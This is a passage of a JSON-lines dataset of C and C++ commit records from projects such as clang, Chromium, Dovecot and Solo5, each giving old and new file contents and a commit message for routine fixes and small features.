{\n\t\tstashd(\"\/var\/log\");\n\t}\n\n\tFILE *fp = fopen(GIT_STASHD_LOG_FILE, GIT_STASHD_LOG_MODE);\n\n\tif (!fp) {\n\t\tprintf(\"Error opening file %s\\n\", GIT_STASHD_LOG_FILE);\n\n\t\texit(EXIT_FAILURE);\n\t}\n\n\twhile (1) {\n\t\tfprintf(fp, \"git-stashd started.\\n\");\n\t\tsleep(10);\n\n\t\tbreak;\n\t}\n\n\tfprintf(fp, \"git-stashd terminated.\\n\");\n\tfclose(fp);\n\n\treturn EXIT_SUCCESS;\n}\n","subject":"Work on --daemon option handling","message":"Work on --daemon option handling\n","lang":"C","license":"mit","repos":"nickolasburr\/git-stashd,nickolasburr\/git-stashd,nickolasburr\/git-stashd"}
{"commit":"cceede5a3cbe1b8b508b8193aafb75d44319d472","old_file":"gps-transmitter\/gps_transmitter\/xbee_helpers.h","new_file":"gps-transmitter\/gps_transmitter\/xbee_helpers.h","old_contents":"\/*\n *\n *\/\n\ntypedef union {\n  float floatingPoint;\n  byte binary[4];\n} binaryFloat;\n\nuint8_t setXBeePanId (uint16_t addr);\nuint8_t setXBeeMyAddress (uint16_t addr);\nuint8_t setXBeeChannel (uint8_t channel);\nuint8_t setXBeeHoppingChannel (uint8_t channel);\nuint8_t setXBeeChannelVerification (uint8_t mode);\nuint8_t setXBeeNetworkWatchdogTimeout (uint16_t timeout);\nuint8_t resetXBeeNetwork (uint8_t mode);\n\nvoid setPayload (float lat, float lng, uint8_t* payload);\n\n","new_contents":"\/*\n *\n *\/\n\ntypedef union {\n  float floatingPoint;\n  byte binary[4];\n} binaryFloat;\n\nuint8_t setXBeePanId (uint16_t addr);\nuint8_t setXBeeMyAddress (uint16_t addr);\nuint8_t setXBeeChannel (uint8_t channel);\nuint8_t setXBeeHoppingChannel (uint8_t channel);\nuint8_t setXBeeChannelVerification (uint8_t mode);\nuint8_t setXBeeNetworkWatchdogTimeout (uint16_t timeout);\nuint8_t resetXBeeNetwork (uint8_t mode);\n\nvoid setPayload (byte status, float lat, float lng, uint8_t* payload);\n","subject":"Make the declatarion match reality.","message":"Make the declatarion match reality.\n","lang":"C","license":"isc","repos":"lectroidmarc\/rocket-tracker,lectroidmarc\/rocket-tracker,lectroidmarc\/rocket-tracker"}
{"commit":"c9df2beb473f7461797074c51789761e0dbc1567","old_file":"cmake\/utils\/CheckJemallocBuilds.c","new_file":"cmake\/utils\/CheckJemallocBuilds.c","old_contents":"#include <jemalloc.h>\n\nint main(int argc, char** argv) {\n    (void)argv;\n    return argc + (int)(malloc(42));\n}\n","new_contents":"#include <jemalloc.h>\n\nint main(int argc, char** argv) {\n    void *volatile dummyPtr = malloc(42);\n    (void)argv;\n    return argc;\n}\n","subject":"Fix a -Wpointer-to-int-cast when searching Jemalloc","message":"[CMAKE] Fix a -Wpointer-to-int-cast when searching Jemalloc\n\nSummary:\nThis would trigger failures when `-Werror` is enabled, such as:\nhttps:\/\/build.bitcoinabc.org\/viewLog.html?tab=buildLog&logTab=tree&filter=debug&expand=all&buildId=66573&guest=1#footer\n\nTest Plan:\n  cmake -GNinja .. \\\n    -DUSE_JEMALLOC_EXPERIMENTAL=ON \\\n    -DCMAKE_C_FLAGS=-Werror\nThis will fail before this patch and succeed after.\n\nReviewers: #bitcoin_abc, deadalnix\n\nReviewed By: #bitcoin_abc, deadalnix\n\nDifferential Revision: https:\/\/reviews.bitcoinabc.org\/D6343\n","lang":"C","license":"mit","repos":"cculianu\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,cculianu\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,cculianu\/bitcoin-abc,cculianu\/bitcoin-abc,cculianu\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,cculianu\/bitcoin-abc,cculianu\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,cculianu\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc,Bitcoin-ABC\/bitcoin-abc"}
{"commit":"e0b1bc3afd755baa44092cfb0e80926718f8f9f8","old_file":"ObjectiveC_AdvancedFeatures\/ObjectiveC_AdvancedFeatures\/Protocol_and_Proxy\/MyProtocol.h","new_file":"ObjectiveC_AdvancedFeatures\/ObjectiveC_AdvancedFeatures\/Protocol_and_Proxy\/MyProtocol.h","old_contents":"","new_contents":"\/**************************************************************************************************\n * File name    : MyProtocol.h\n * Description  : Study how to create a protocol and use it.\n * Creator      : Frederick Hsu\n * Creation date: Wed.  07 Sep. 2016\n * Copyright(C) 2016    All rights reserved.\n *\n **************************************************************************************************\/\n\n\n#ifndef MYPROTOCOL_H\n#define MYPROTOCOL_H\n\n    #import <Foundation\/Foundation.h>\n\n    @protocol MyProtocol <NSObject>\n\n        -(void)eat;\n\n    @optional\n\n        -(void)run;\n\n    @end\n\n#endif  \/* MYPROTOCOL_H *\/","subject":"Define a protocol, study how to create and use the protocol in Objective-C programming.","message":"Define a protocol, study how to create and use the protocol in Objective-C programming.\n","lang":"C","license":"apache-2.0","repos":"Frederick-Hsu\/iOS_Objective_C_Development,Frederick-Hsu\/iOS_Objective_C_Development"}
{"commit":"b575eb91ea7cf5917ac6917e9ce2fb289915e24b","old_file":"kernel\/muen\/muen-console.c","new_file":"kernel\/muen\/muen-console.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2017 Contributors as noted in the AUTHORS file\n *\n * This file is part of Solo5, a unikernel base layer.\n *\n * Permission to use, copy, modify, and\/or distribute this software\n * for any purpose with or without fee is hereby granted, provided\n * that the above copyright notice and this permission notice appear\n * in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL\n * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE\n * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR\n * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS\n * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,\n * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include \"..\/kernel.h\"\n#include \"sinfo.h\"\n#include \"writer.h\"\n\n#define DEBUGLOG_PROTO 0xf00789094b6f70cfUL\n\nstruct log_msg {\n    uint64_t timestamp;\n    char data[56];\n} __attribute__((packed));\n\nstatic struct muchannel *channel_out;\nstatic struct log_msg msg_buffer;\nstatic int msg_index;\n\nstatic void clear_buffer()\n{\n    msg_index = 0;\n    memset(&msg_buffer, 0, sizeof(struct log_msg));\n}\n\nstatic void flush()\n{\n    msg_buffer.timestamp = muen_get_sched_start();\n    muen_channel_write(channel_out, &msg_buffer);\n    clear_buffer();\n}\n\nint platform_puts(const char *buf, int n)\n{\n    int i;\n\n    for (i = 0; i < n; i++) {\n        if (buf[i] && buf[i] != 0x0d)\n        {\n            msg_buffer.data[msg_index] = buf[i];\n            if (msg_index == 55 || buf[i] == 0x0a)\n                flush();\n            else\n                msg_index++;\n        }\n    }\n\n    return n;\n}\n\nint solo5_console_write(const char *, size_t)\n    __attribute__ ((alias(\"platform_puts\")));\n\nvoid console_init(void)\n{\n    struct muen_channel_info channel;\n    uint64_t epoch;\n\n    if (!muen_get_channel_info(\"debuglog\", &channel)) {\n        return;\n    }\n\n    clear_buffer();\n    epoch        = muen_get_sched_start();\n    channel_out  = (struct muchannel *)(channel.address);\n    muen_channel_init_writer(channel_out, DEBUGLOG_PROTO, sizeof(struct log_msg),\n            channel.size, epoch);\n    log(INFO, \"Solo5: Console: Muen Channel @ 0x%lx, size 0x%lx, epoch 0x%lx\\n\",\n        channel.address, channel.size, epoch);\n}\n","subject":"Add console implementation for Muen","message":"Add console implementation for Muen\n\nThe console writes output using a shared memory stream channel.\n","lang":"C","license":"isc","repos":"djwillia\/solo5,Weichen81\/solo5,Weichen81\/solo5,mato\/solo5,mato\/solo5,djwillia\/solo5,Weichen81\/solo5,djwillia\/solo5,Solo5\/solo5,Solo5\/solo5,mato\/solo5"}
{"commit":"6d21ed0d97f5486c6508082c3646ad26024dc7a6","old_file":"src\/plugins\/zlib\/istream-bzlib.c","new_file":"src\/plugins\/zlib\/istream-bzlib.c","old_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","new_contents":"\/* Copyright (c) 2005-2008 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"istream-internal.h\"\n#include \"istream-zlib.h\"\n\n#ifdef HAVE_BZLIB\n#include <stdio.h>\n#include <bzlib.h>\n\n#define BZLIB_INCLUDE\n\n#define gzFile BZFILE\n#define gzdopen BZ2_bzdopen\n#define gzclose BZ2_bzclose\n#define gzread BZ2_bzread\n#define gzseek BZ2_bzseek\n\n#define i_stream_create_zlib i_stream_create_bzlib\n#include \"istream-zlib.c\"\n#endif\n","subject":"Include stdio.h in case bzlib.h needs it.","message":"bzlib: Include stdio.h in case bzlib.h needs it.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"3446ef49a05fe50bc1e6632983f9d78033af7be4","old_file":"src\/global_mapper\/global_mapper.h","new_file":"src\/global_mapper\/global_mapper.h","old_contents":"\/\/ Copyright 2017 Massachusetts Institute of Technology\n#pragma once\n\n#include <csignal>\n#include <deque>\n#include <vector>\n#include <mutex>\n\n#include \"pcl_ros\/point_cloud.h\"\n\nnamespace global_mapper {\n\ntypedef pcl::PointCloud<pcl::PointXYZ> PointCloud;\n\nclass GlobalMapper {\n public:\n  explicit GlobalMapper(volatile std::sig_atomic_t* stop_signal_ptr_);\n  ~GlobalMapper();\n  void PushPointCloud(const PointCloud::ConstPtr& point_cloud);\n  const PointCloud::ConstPtr PopPointCloud();\n  const PointCloud::ConstPtr TransformPointCloud(const PointCloud::ConstPtr& point_cloud);\n  void InsertPointCloud(const PointCloud::ConstPtr& point_cloud);\n  void Run();\n\n  volatile std::sig_atomic_t* stop_signal_ptr_;\n  \/\/ std::mutex mutex_;\n\n private:\n  std::deque<PointCloud::ConstPtr > point_cloud_buffer_;\n  int global_map_size_x_;\n  int global_map_size_y_;\n  int global_map_size_z_;\n  std::vector<float> global_map_;\n};\n}  \/\/ namespace global_mapper\n","new_contents":"\/\/ Copyright 2017 Massachusetts Institute of Technology\n#pragma once\n\n#include <csignal>\n#include <deque>\n#include <vector>\n#include <mutex>\n\n#include \"pcl_ros\/point_cloud.h\"\n\nnamespace global_mapper {\n\ntypedef pcl::PointCloud<pcl::PointXYZ> PointCloud;\n\nclass GlobalMapper {\n public:\n  explicit GlobalMapper(volatile std::sig_atomic_t* stop_signal_ptr_);\n  ~GlobalMapper();\n\n  GlobalMapper(const GlobalMapper& rhs) = delete;\n  GlobalMapper& operator=(const GlobalMapper& rhs) = delete;\n\n  GlobalMapper(GlobalMapper&& rhs) = delete;\n  GlobalMapper& operator=(GlobalMapper&& rhs) = delete;\n\n  void PushPointCloud(const PointCloud::ConstPtr& point_cloud);\n  const PointCloud::ConstPtr PopPointCloud();\n  const PointCloud::ConstPtr TransformPointCloud(const PointCloud::ConstPtr& point_cloud);\n  void InsertPointCloud(const PointCloud::ConstPtr& point_cloud);\n  void Run();\n\n  volatile std::sig_atomic_t* stop_signal_ptr_;\n  \/\/ std::mutex mutex_;\n\n private:\n  std::deque<PointCloud::ConstPtr > point_cloud_buffer_;\n  int global_map_size_x_;\n  int global_map_size_y_;\n  int global_map_size_z_;\n  std::vector<float> global_map_;\n};\n}  \/\/ namespace global_mapper\n","subject":"Delete copy and move constructors.","message":"Delete copy and move constructors.\n","lang":"C","license":"mit","repos":"jakeware\/global_mapper"}
{"commit":"0cd7be4c4d330aa4f8918986b59e104411bf107d","old_file":"test\/PCH\/modified-header-crash.c","new_file":"test\/PCH\/modified-header-crash.c","old_contents":"\/\/ Don't crash.\n\n\/\/ RUN: %clang_cc1 -DCAKE -x c-header %S\/modified-header-crash.h -emit-pch -o %t\n\/\/ RUN: touch %S\/modified-header-crash.h\n\/\/ RUN: not %clang_cc1 %s -include-pch %t -fsyntax-only\n\nvoid f(void) {\n  foo = 3;\n}\n","new_contents":"\/\/ Don't crash.\n\n\/\/ RUN: %clang_cc1 -DCAKE -x c-header %S\/modified-header-crash.h -emit-pch -o %t\n\/\/ RUN: touch %S\/modified-header-crash.h\n\/\/ RUN: not %clang_cc1 %s -include-pch %t -fsyntax-only\n\n\/\/ FIXME: On Windows we don't detect that the header was modified ?\n\/\/ XFAIL: win32\n\nvoid f(void) {\n  foo = 3;\n}\n","subject":"Disable a test that fails on windows; for some reason we don't detect that the header has different timestamp.","message":"Disable a test that fails on windows; for some reason we don't detect that the header has different timestamp.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@130204 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"467b5716d03b64dfe37c66769576ce9fe1d7fa62","old_file":"tests\/matcher_argument_run_tests.c","new_file":"tests\/matcher_argument_run_tests.c","old_contents":"\/\/\n\/\/ Created by Jake Kinsella on 6\/19\/17.\n\/\/\n\n#include <assert.h>\n#include \"..\/src\/matcher\/matcher.h\"\n\nint main(int argc, const char* argv[])\n{\n\n    return 0;\n}\n","new_contents":"\/\/\n\/\/ Created by Jake Kinsella on 6\/19\/17.\n\/\/\n\n#include <assert.h>\n#include \"..\/src\/matcher\/matcher.h\"\n#include \"..\/src\/registers.h\"\n\nvoid dst_run(uint8_t *dst_register);\nvoid src_run(const uint8_t src_register);\nvoid rp_run(RegisterPair *dst_register_pair);\nvoid dst_src_run(uint8_t *dst_register, const uint8_t src_register);\n\nint value_register1 = 0;\nint value_register2 = 0;\n\nint main(int argc, const char* argv[])\n{\n\n    return 0;\n}\n\nvoid dst_run(uint8_t *dst_register)\n{\n    value_register1 = *dst_register;\n}\n\nvoid src_run(const uint8_t src_register)\n{\n    value_register1 = src_register;\n}\n\nvoid rp_run(RegisterPair *dst_register_pair)\n{\n    value_register1 = combine_bytes(*dst_register_pair->register1, *dst_register_pair->register2);\n}\n\nvoid dst_src_run(uint8_t *dst_register, const uint8_t src_register)\n{\n    value_register1 = *dst_register;\n    value_register2 = src_register;\n}\n","subject":"Create dummy functions for future matcher tests","message":"Create dummy functions for future matcher tests\n","lang":"C","license":"mit","repos":"TheLocust3\/Intel-8080-Emulator,TheLocust3\/Intel-8080-Emulator"}
{"commit":"c7b85c55569d65966601ba3fc1cdc709d1693fe7","old_file":"src\/qt\/logging\/messageboxlogger.h","new_file":"src\/qt\/logging\/messageboxlogger.h","old_contents":"\/*Copyright 2010-2015 George Karagoulis\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.*\/\n\n#ifndef GUTIL_NO_GUI_FUNCTIONALITY\n\n#ifndef GUTIL_MESSAGEBOXLOGGER_H\n#define GUTIL_MESSAGEBOXLOGGER_H\n\n#include <gutil\/ilog.h>\n#include <QObject>\nclass QWidget;\n\nnamespace GUtil{ namespace Qt{\n\n\n\/** A logger implementation which displays the message in a modal dialog box. *\/\nclass MessageBoxLogger : public QObject, public GUtil::ILog\n{\n    Q_OBJECT\n    QWidget *m_parentWidget;\npublic:\n\n    explicit MessageBoxLogger(QWidget *parent = 0);\n    virtual ~MessageBoxLogger() {}\n\n    \/** Displays a modal dialog box with the title and message, with the\n        appropriate severity.\n    *\/\n    virtual void Log(const LoggingData &) noexcept;\n\n\nprivate slots:\n\n    void _log(const LoggingData &);\n\n};\n\n\n}}\n\n#endif \/\/ GUTIL_MESSAGEBOXLOGGER_H\n\n#endif \/\/ GUI_FUNCTIONALITY\n","new_contents":"\/*Copyright 2010-2015 George Karagoulis\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.*\/\n\n#ifndef GUTIL_NO_GUI_FUNCTIONALITY\n\n#ifndef GUTIL_MESSAGEBOXLOGGER_H\n#define GUTIL_MESSAGEBOXLOGGER_H\n\n#include <gutil\/ilog.h>\n#include <QObject>\nclass QWidget;\n\nnamespace GUtil{ namespace Qt{\n\n\n\/** A logger implementation which displays the message in a modal dialog box. *\/\nclass MessageBoxLogger : public QObject, public GUtil::ILog\n{\n    Q_OBJECT\n    QWidget *m_parentWidget;\npublic:\n\n    explicit MessageBoxLogger(QWidget *parent = 0);\n    virtual ~MessageBoxLogger() {}\n\n    void SetParentWidget(QWidget *parent){ m_parentWidget = parent; }\n    QWidget *GetParentWidget() const{ return m_parentWidget; }\n\n    \/** Displays a modal dialog box with the title and message, with the\n        appropriate severity.\n    *\/\n    virtual void Log(const LoggingData &) noexcept;\n\n\nprivate slots:\n\n    void _log(const LoggingData &);\n\n};\n\n\n}}\n\n#endif \/\/ GUTIL_MESSAGEBOXLOGGER_H\n\n#endif \/\/ GUI_FUNCTIONALITY\n","subject":"Allow to change the parent widget after construction. Sometimes your main widget changes and you don't want to make a new logger.","message":"Allow to change the parent widget after construction. Sometimes your main\nwidget changes and you don't want to make a new logger.\n","lang":"C","license":"apache-2.0","repos":"karagog\/gutil,karagog\/gutil,karagog\/gutil"}
{"commit":"496e639962fb8add9c62896cfd3c30096a1bdf08","old_file":"src\/libOL\/Chunks.h","new_file":"src\/libOL\/Chunks.h","old_contents":"\/\/ Copyright (c) 2014 Andrew Toulouse.\n\/\/ Distributed under the MIT License.\n\n#ifndef __libol__Chunks__\n#define __libol__Chunks__\n\n#include <vector>\n#include <cstdint>\n\nnamespace libol {\n    namespace Chunks {\n        static std::vector<uint8_t> decrypt(std::vector<uint8_t> bytes, std::vector<uint8_t> key);\n    }\n}\n\n#endif \/* defined(__libol__Chunks__) *\/\n","new_contents":"\/\/ Copyright (c) 2014 Andrew Toulouse.\n\/\/ Distributed under the MIT License.\n\n#ifndef __libol__Chunks__\n#define __libol__Chunks__\n\n#include <vector>\n#include <cstdint>\n\nnamespace libol {\n    namespace Chunks {\n        std::vector<uint8_t> decryptAndDecompress(std::vector<uint8_t> bytes, std::vector<uint8_t> key);\n    }\n}\n\n#endif \/* defined(__libol__Chunks__) *\/\n","subject":"Fix dumb header issue (didn't update implementation)","message":"Fix dumb header issue (didn't update implementation)\n","lang":"C","license":"mit","repos":"loldevs\/libOL,loldevs\/libOL"}
{"commit":"7ddca23839bcd6316a185970fa78c2ce5813c23d","old_file":"test\/CodeGen\/ms-inline-asm-EVEN.c","new_file":"test\/CodeGen\/ms-inline-asm-EVEN.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 %s -triple i386-unknown-unknown -fasm-blocks -emit-llvm -o - | FileCheck %s\n\n\/\/ CHECK: .byte 64\n\/\/ CHECK: .byte 64\n\/\/ CHECK: .byte 64\n\/\/ CHECK:  .even\nvoid t1() {\n  __asm {\n    .byte 64\n    .byte 64\n    .byte 64\n    EVEN\n    mov eax, ebx\n  }\n}\n","subject":"Add support for MS 'EVEN' directive","message":"[X86][inline-asm] Add support for MS 'EVEN' directive\n\nMS assembly syntax provide us with the 'EVEN' directive as a synonymous to at&t '.even'.\nThis patch include the (small, simple) changes need to allow it.\n\nllvm-side:\nhttps:\/\/reviews.llvm.org\/D27417\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D27418\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@299454 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"ed2c064dc76995cd8027b7c27a4de00ffc28bebc","old_file":"system.h","new_file":"system.h","old_contents":"","new_contents":"#ifndef SYSTEM_H\n#define SYSTEM_H\n\n#define FIXED_ADDRESS_MEMORY\n#define IN_DATA_BUFFER_ADDRESS_TAG __at(0x200) \/\/ for CDC device (XC8)\n#define OUT_DATA_BUFFER_ADDRESS_TAG __at(0x240)\n#define CONTROL_BUFFER_ADDRESS_TAG __at(0x280)\n#define DRIVER_DATA_ADDRESS_TAG __at(0x2C0)\n\n#endif\n","subject":"Use static USB buffer positions.","message":"Use static USB buffer positions.\n","lang":"C","license":"apache-2.0","repos":"kmzbrnoI\/uLI-fw,kmzbrnoI\/uLI-fw"}
{"commit":"3306b3ed35a2501ad2b517e10b09940b85072d33","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@75430 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,Jonekee\/chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,keishi\/chromium,littlstar\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,dushu1203\/chromium.src,keishi\/chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,robclark\/chromium,ltilve\/chromium,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,dednal\/chromium.src,M4sse\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,jaruba\/chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk,patrickm\/chromium.src,rogerwang\/chromium,Fireblend\/chromium-crosswalk,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,Chilledheart\/chromium,Chilledheart\/chromium,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,ondra-novak\/chromium.src,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,hujiajie\/pa-chromium,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,axinging\/chromium-crosswalk,dednal\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,robclark\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,Just-D\/chromium-1,ondra-novak\/chromium.src,keishi\/chromium,patrickm\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswa